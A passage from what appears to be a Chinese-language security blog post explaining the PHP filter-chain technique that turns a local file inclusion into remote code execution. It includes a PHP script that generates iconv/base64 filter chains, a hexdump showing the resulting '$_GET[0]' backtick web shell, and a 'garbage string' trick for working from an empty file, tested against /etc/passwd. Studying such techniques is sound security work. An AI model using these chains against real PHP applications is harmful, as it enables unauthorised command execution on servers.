    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

echo (file_get_contents($final_payload));

#####
00000000: 3c3f 3d60 245f 4745 545b 305d 603b 3b3f  <?=`$_GET[0]`;;?
00000010: 3e18 5858 5858 5858                      >.XXXXXX

这里需要注意的地方是

  • convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。
  • 使用data://协议是方便展示,实际操作中我们还是需要读取一个本地文件。

这里我们以本地文件/etc/passwd进行测试

因此对于以上利用方式来说,我们只需要找到一个存在内容的本地文件即可完成RCE。

Garbage String

虽然我们知道只要编码规则用得好,其实文件内容是什么无关紧要,但是如果实在是找不到可用文件怎么办?

这里需要用到一个小技巧:作者发现,convert.iconv.UTF8.CSISO2022KR 总是会在字符串前面生成 \x1b$)C ,所以我们可以利用这个来产生足够的垃圾数据供我们构造 Payload ,以下用一个空文件生成一个 8 来测试

<?php
$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR|";
$url .= "convert.base64-encode|";
$url .= "convert.iconv.UTF8.UTF7|";

// 8
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."|convert.base64-decode|convert.base64-encode";

$url = $url."/resource=./e";
echo (file_get_contents($url));?>

#00000000: 3847 7951 7051 772b 4144 3041 5051 3d3d  8GyQpQw+AD0APQ==

这样我们可以使用”垃圾数据”作为基础数据进行编码转换了。但值得注意的是,iconv的字符编码集在不同系统下可能有所不同,比如Windows下就没有CSISO2022KR这一编码。所以我们在使用这一技巧的时候需要注意操作系统及其版本问题。

这里贴一个wupoc师傅fuzz出的完整字符集

PHP_INCLUDE_TO_SHELL_CHAR_DICT

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇